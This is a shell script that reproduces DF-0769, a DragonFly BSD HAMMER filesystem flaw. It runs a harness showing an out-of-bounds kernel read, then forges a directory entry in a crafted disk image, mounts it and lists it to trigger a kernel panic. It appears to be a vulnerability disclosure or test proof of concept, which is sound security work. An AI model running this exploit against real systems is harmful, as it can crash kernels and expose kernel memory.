#!/bin/sh
# DF-0769 run script -- full reproduction pipeline.
# Two parts:
#   (1) ./harness                     deterministic ~49160-byte OOB read proof (production/INVARIANTS-OFF)
#   (2) craft + mount + readdir       GENERIC (INVARIANTS-ON) KKASSERT panic at hammer_vnops.c:1728
#
# The mount step is the acceptable "admin mounted a crafted filesystem image" precondition
# (root-only). The readdir trigger (getdirentries) is unprivileged.
#
# MUST be run as root inside the DragonFly guest with hammer.ko loaded.
set -e
cd "$(dirname "$0")"

echo "================================================================"
echo " PART 1: production-primitive proof (deterministic OOB read)    "
echo "================================================================"
./harness

echo
echo "================================================================"
echo " PART 2: GENERIC #0 panic via crafted HAMMER image + readdir    "
echo " (run this ONLY on the UNPATCHED kernel -- it panics GENERIC)   "
echo "================================================================"
IMG=${1:-/root/scratch.img}
echo "[*] creating 1GB HAMMER v1 image ($IMG)"
dd if=/dev/zero of="$IMG" bs=1m count=1024 2>&1 | tail -1
vnconfig -c vn0 "$IMG"
newfs_hammer -f -L TEST /dev/vn0 2>&1 | tail -2
mkdir -p /mnt
mount -t hammer -o nohistory /dev/vn0 /mnt
echo hello > /mnt/AAAA_entry.txt
echo second > /mnt/BBBB.txt
sync
umount /mnt
vnconfig -u vn0

echo "[*] forging direntry data_len=8 (recompute leaf data_crc + node crc)"
./craft_img "$IMG"

echo "[*] mounting crafted image (root precondition) and triggering readdir"
vnconfig -c vn0 "$IMG"
mount -t hammer -o nohistory /dev/vn0 /mnt
chmod 755 /mnt
echo "[*] ls /mnt  -> on GENERIC #0 this PANICS at hammer_vnops.c:1728"
echo "    (guest wedges in DDB; check dfbsd-qemu/boot.log for the panic signature)"
ls -la /mnt 2>&1
echo "ls returned $?"  # on a FIXED kernel this returns cleanly (EIO swallowed); on #0 it never returns